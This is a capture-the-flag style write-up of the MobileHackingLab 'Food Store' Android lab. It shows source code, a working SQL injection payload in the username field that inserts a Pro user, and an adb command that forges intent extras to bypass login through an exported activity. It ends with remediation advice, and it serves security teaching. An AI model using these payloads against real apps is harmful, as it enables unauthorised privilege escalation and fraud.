Skip to content

Write-up: MobileHackingLab - Food Store

Updated: at 01:00 PM

Introduction

Food Store is an Android lab from MobileHackingLab where you exploit a SQL Injection vulnerability, allowing you to register as a Pro user, bypassing standard user restrictions.


Methodology

Explore application

Sign up

The sign-up screen allows you to create a new user account by specifying a username, password and address. After signing up, a toast message is received to indicate that the sign-up was successful.

Sign upSign up successful

Login

The sign-in screen allows you to sign in using a username and password. Once you have successfully signed in, you will be presented with a product listing screen.

Sign in

Products

The product listing screen displays user information, and allows you to order products using credits. A normal account has a limited amount of credits to order items with.

Product listingProduct added

Identify vulnerability

The lab description already provided us with a good hint on where the problem might be. According to this, there is a SQL injection vulnerability in the registration code. Let’s explore the source code and try to find this.

There are 3 activities found in the AndroidManifest file:

<activity
    android:name="com.mobilehackinglab.foodstore.Signup"
    android:exported="false"/>
<activity
    android:name="com.mobilehackinglab.foodstore.MainActivity"
    android:exported="true"/>
<activity
    android:name="com.mobilehackinglab.foodstore.LoginActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
</activity>

Since we are interested in the sign-up process, we will focus on the Signup activity.

After reading through the code and looking at the validation methods, we reach the section we are interested in:

User newUser = new User(i, obj, obj2, editText2.getText().toString(), false, 1, null);
dbHelper.addUser(newUser);
Toast.makeText(this$0, "User Registered Successfully", 0).show();
return;

Reading the DBHelper class gives us some more information about the database structure:

@Override
public void onCreate(SQLiteDatabase db) {
    Intrinsics.checkNotNullParameter(db, "db");
    db.execSQL("CREATE TABLE users (\n    id INTEGER PRIMARY KEY AUTOINCREMENT,\n    username TEXT,\n    password TEXT,\n    address TEXT,\n    isPro INTEGER\n    \n    \n)");
}

And also the addUser method, which contains the vulnerable SQL code:

public final void addUser(User user) {
    Intrinsics.checkNotNullParameter(user, "user");
    SQLiteDatabase db = getWritableDatabase();
    byte[] bytes = user.getPassword().getBytes(Charsets.UTF_8);
    Intrinsics.checkNotNullExpressionValue(bytes, "this as java.lang.String).getBytes(charset)");
    String encodedPassword = Base64.encodeToString(bytes, 0);
    String Username = user.getUsername();
    byte[] bytes2 = user.getAddress().getBytes(Charsets.UTF_8);
    Intrinsics.checkNotNullExpressionValue(bytes2, "this as java.lang.String).getBytes(charset)");
    String encodedAddress = Base64.encodeToString(bytes2, 0);
    String sql = "INSERT INTO users (username, password, address, isPro) VALUES ('" + Username + "', '" + encodedPassword + "', '" + encodedAddress + "', 0)";
    db.execSQL(sql);
    db.close();
}

The above code creates a new entry in the users table with the following values:

So for our user, the values are as follows:

Which translates into the following SQL statement:

INSERT INTO users (username, password, address, isPro) VALUES ('test', 'dGVzdA==', 'dGVzdCBhZGRyZXNz', 0)

We can also pull the database from the device and confirm this:

adb pull /data/data/com.mobilehackinglab.foodstore/databases/userdatabase.db
# /data/data/com.mobilehackinglab.foodstore/databases/userdatabase.db: 1 file pulled, 0 skipped. 0.9 MB/s (20480 bytes in 0.021s)

adb pull /data/data/com.mobilehackinglab.foodstore/databases/userdatabase.db-journal
# /data/data/com.mobilehackinglab.foodstore/databases/userdatabase.db-journal: 1 file pulled, 0 skipped.

sqlite3
# SQLite version 3.46.1 2024-08-13 09:16:08
# Enter ".help" for usage hints.
# Connected to a transient in-memory database.
# Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open userdatabase.db
sqlite> .tables
# android_metadata  users
sqlite> SELECT * FROM users;
1|test|dGVzdA==
|dGVzdCBhZGRyZXNz
|0
sqlite>

For us to create a pro user, we would need to inject values into the SQL statement in such a way that isPro is set to 1 instead of 0.


Create payload

To get some visibility of the SQL queries that the application executes, we can use Frida.

There is a nice public Frida codeshare script that hooks into various sqlite functions and prints out the parameters that they are called with.

Adding a new user:

Sign in
frida -U --codeshare ninjadiary/sqlite-database -f com.mobilehackinglab.foodstore
# Spawned `com.mobilehackinglab.foodstore`. Resuming main thread!
[sdk gphone64 x86 64::com.mobilehackinglab.foodstore ]-> [*] SQLiteDatabase.exeqSQL called with query: INSERT INTO users (username, password, address, isPro) VALUES ('newuser', 'bmV3dXNlcg==
', 'bmV3dXNlciBhZGRyZXNz
', 0)

Attempt 1 - Failed

Adding a new user with the following values:

Should result in the following query:

INSERT INTO users (username, password, address, isPro) VALUES ('randomuser', '', '', 1)-- ', 'cmFuZG9tdXNlcg==', 'cmFuZG9tdXNlciBhZGRyZXNz', 0)

Which works fine if you execute it directly in a sqlite3 client:

emu64xa:/data/data/com.mobilehackinglab.foodstore/databases # sqlite3 userdatabase.db
-- SQLite version 3.39.2 2022-07-21 15:24:47
-- Enter ".help" for usage hints.
sqlite> INSERT INTO users (username, password, address, isPro) VALUES ('randomuser', '', '', 1)-- ', 'cmFuZG9tdXNlcg==', 'cmFuZG9tdXNlciBhZGRyZXNz', 0)
   ...> ;
sqlite> SELECT * FROM users;
-- 1|randomuser|||1
sqlite>

But crashes when entering the values inside of the application:

[sdk gphone64 x86 64::com.mobilehackinglab.foodstore ]-> [*] SQLiteDatabase.exeqSQL called with query: INSERT INTO users (username, password, address, isPro) VALUES ('randomuser', '', '', 1)--', 'cmFuZG9tdXNlcg==
', 'cmFuZG9tdXNlciBhZGRyZXNz
', 0)
[sdk gphone64 x86 64::com.mobilehackinglab.foodstore ]-> Process crashed: android.database.sqlite.SQLiteException: near "', '": syntax error (code 1 SQLITE_ERROR): , while compiling: INSERT INTO users (username, password, address, isPro) VALUES ('randomuser', '', '', 1)--', 'cmFuZG9tdXNlcg==

The stack trace of the crash mentions prepared statements, which makes me wonder if Android does not internally perform some validation on the queries.

***
FATAL EXCEPTION: main
Process: com.mobilehackinglab.foodstore, PID: 6757
android.database.sqlite.SQLiteException: near "', '": syntax error (code 1 SQLITE_ERROR): , while compiling: INSERT INTO users (username, password, address, isPro) VALUES ('randomuser', '', '', 1)--', 'cmFuZG9tdXNlcg==
', 'cmFuZG9tdXNlciBhZGRyZXNz
', 0)
        at android.database.sqlite.SQLiteConnection.nativePrepareStatement(Native Method)
        at android.database.sqlite.SQLiteConnection.acquirePreparedStatement(SQLiteConnection.java:1069)
        at android.database.sqlite.SQLiteConnection.prepare(SQLiteConnection.java:673)
        at android.database.sqlite.SQLiteSession.prepare(SQLiteSession.java:590)
        at android.database.sqlite.SQLiteProgram.<init>(SQLiteProgram.java:62)
        at android.database.sqlite.SQLiteStatement.<init>(SQLiteStatement.java:34)
        at android.database.sqlite.SQLiteDatabase.executeSql(SQLiteDatabase.java:2088)
        at android.database.sqlite.SQLiteDatabase.execSQL(SQLiteDatabase.java:2010)
        at android.database.sqlite.SQLiteDatabase.execSQL(Native Method)
        at com.mobilehackinglab.foodstore.DBHelper.addUser(DBHelper.kt:42)
        at com.mobilehackinglab.foodstore.Signup.onCreate$lambda$0(Signup.kt:41)
        at com.mobilehackinglab.foodstore.Signup.$r8$lambda$XJHS3fiTQDQ_z9YBC1-qmBhbVY4(Unknown Source:0)
        at com.mobilehackinglab.foodstore.Signup$$ExternalSyntheticLambda0.onClick(Unknown Source:2)
        at android.view.View.performClick(View.java:7659)
        at com.google.android.material.button.MaterialButton.performClick(MaterialButton.java:1218)
        at android.view.View.performClickInternal(View.java:7636)
        at android.view.View.-$$Nest$mperformClickInternal(Unknown Source:0)
        at android.view.View$PerformClick.run(View.java:30156)
        at android.os.Handler.handleCallback(Handler.java:958)
        at android.os.Handler.dispatchMessage(Handler.java:99)
        at android.os.Looper.loopOnce(Looper.java:205)
        at android.os.Looper.loop(Looper.java:294)
        at android.app.ActivityThread.main(ActivityThread.java:8177)
        at java.lang.reflect.Method.invoke(Native Method)
        at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:552)
        at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:971)
***

Attempt 2 - Success

The first attempt was a failure; let’s try something different.

Instead of injecting new values and commenting out the original values, I am going to try and inject two sets of values.

If this works, it will allow us to add another user as well as the original user whose details were entered into the form.

For this to work we need to figure out how to add multiple VALUES () clauses to an INSERT statement in sqlite3.

sqlite> INSERT INTO users (username, password, address, isPro) VALUES ('admin', 'YWRtaW4=', 'YWRtaW4gYWRkcmVzcw==', 1), ('test', 'dGVzdA==', 'dGVzdCBhZGRyZXNz', 0)
sqlite> SELECT * FROM users;
-- 1|admin|YWRtaW4=|YWRtaW4gYWRkcmVzcw==|1
-- 2|test|dGVzdA==|dGVzdCBhZGRyZXNz|0

Great! Let’s create payload that will inject required values into the Username field to achieve the above query:

Which should result in the following query:

INSERT INTO users (username, password, address, isPro) VALUES ('admin', 'YWRtaW4=', 'YWRtaW4gYWRkcmVzcw==', 1), ('test', 'dGVzdA==', 'dGVzdCBhZGRyZXNz', 0)

Exploit vulnerability

Let’s see if our injection is successful through the application.

The final payload is: admin', 'YWRtaW4=', 'YWRtaW4gYWRkcmVzcw==', 1), ('test

Let’s also clear the mobile application data to get a fresh database to verify the results.

Sign up - Injection

And the output query:

[sdk gphone64 x86 64::com.mobilehackinglab.foodstore ]-> [*] SQLiteDatabase.exeqSQL called with query: INSERT INTO users (username, password, address, isPro) VALUES ('admin', 'YWRtaW4=', 'YWRtaW4gYWRkcmVzcw==', 1), ('test', 'dGVzdA==
', 'dGVzdCBhZGRyZXNz
', 0)

It looks like it worked. Let’s verify on the actual database:

emu64xa:/data/data/com.mobilehackinglab.foodstore/databases # sqlite3 userdatabase.db
# SQLite version 3.39.2 2022-07-21 15:24:47
# Enter ".help" for usage hints.
sqlite> SELECT * FROM users;
# 1|admin|YWRtaW4=|YWRtaW4gYWRkcmVzcw==|1
# 2|test|dGVzdA==
# |dGVzdCBhZGRyZXNz
# |0

And then for the final test - can we log in with the new user?

Sign in - AdminProducts - Admin

Success! We are logged in with the new admin user who has the Pro flag enabled.


Extra: Login bypass

While analysing the source code, I noticed that the MainActivity, which is supposed to only be accessible after signing in, was exported.

<activity
  android:name="com.mobilehackinglab.foodstore.MainActivity"
  android:exported="true"/>

Upon further investigation, I noticed that the MainActivity retrieves information from the Intent bundle.

@Override
public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    /* ... */

    String username = getIntent().getStringExtra("USERNAME");
    if (username == null) {
        username = "Guest";
    }
    this.userCredit = getIntent().getIntExtra("USER_CREDIT", 0);
    boolean isProUser = getIntent().getBooleanExtra("IS_PRO_USER", false);

    /* ... */

    String stringExtra = getIntent().getStringExtra("USER_ADDRESS");
    if (stringExtra == null) {
        stringExtra = "Unknown address";
    }
    this.userAddress = stringExtra;

    /* ... */
}

In the LoginActivity, after a successful login, we can see this information being added to the Intent bundle before starting the MainActivity.

public static final void onCreate$lambda$1(EditText $usernameEditText, EditText $passwordEditText, LoginActivity this$0, View it) {

    /* ... */

    Toast.makeText(this$0, "Login Successful", 0).show();
    int credit = user.isPro() ? 10000 : 100;
    Intent intent = new Intent(this$0, (Class<?>) MainActivity.class);
    intent.putExtra("USERNAME", inputUsername);
    intent.putExtra("USER_CREDIT", credit);
    intent.putExtra("IS_PRO_USER", user.isPro());
    intent.putExtra("USER_ADDRESS", user.getAddress());
    this$0.startActivity(intent);
    this$0.finish();
}

Which means we will be able to launch this activity with the same parameters without logging in because the MainActivity is exported and does not validate the Intent bundle data.

adb shell am start -n "com.mobilehackinglab.foodstore/.MainActivity" --es "USERNAME" "SneakySneaky" --es "USER_ADDRESS" "Online" --ez "IS_PRO_USER" "True" --ei "USER_CREDIT" "10000"

Success! We are able to open the main product screen as a “Pro” user, with the amount of credits we specified, and order items to be delivered to the address we specified.

Sign in bypassSign in bypass - order

Remediation

SQL injection

One way of avoiding SQL injection attacks is by using PreparedStatements.

This method allows you to specify a query structure and then manually map which values should be assigned to which columns.

It also validates that the values mapped to the columns contain the correct data type, which is where the actual safety comes into play.

If you try to use a malicious value in the input field, it will throw an Exception and not execute the query.

Login bypass

Activities should only be exported if there is a very specific reason for it. In recent versions of Android, the exported flag will default to false if it is not specific, which is great.

If an Activity is exported, it is safe to assume that anything will be able to open it, so extra validation needs to be taken into account.

In the current application workflow, there is no need to export the MainActivity because it should only be opened after successfully logging in.

Setting the exported flag to false in the AndroidManifest on the MainActivity will allow the LoginActivity to still launch it and prevent other applications / Intents from launching it.


Final thoughts

The SQL injection vulnerability was easy to detect, but a bit tricky to exploit.

I found it interesting that my origianl payload query behaved differently in the sqlite3 client and the Android application.

It was a nice surprise to discover the exported Activity that just blindly trusted all values sent to it.

Never trust user-supplied input. Don’t use raw SQL queries; replace them with PreparedStatements. Do not export your Activities unless necessary, and remember to add extra validation for intent data.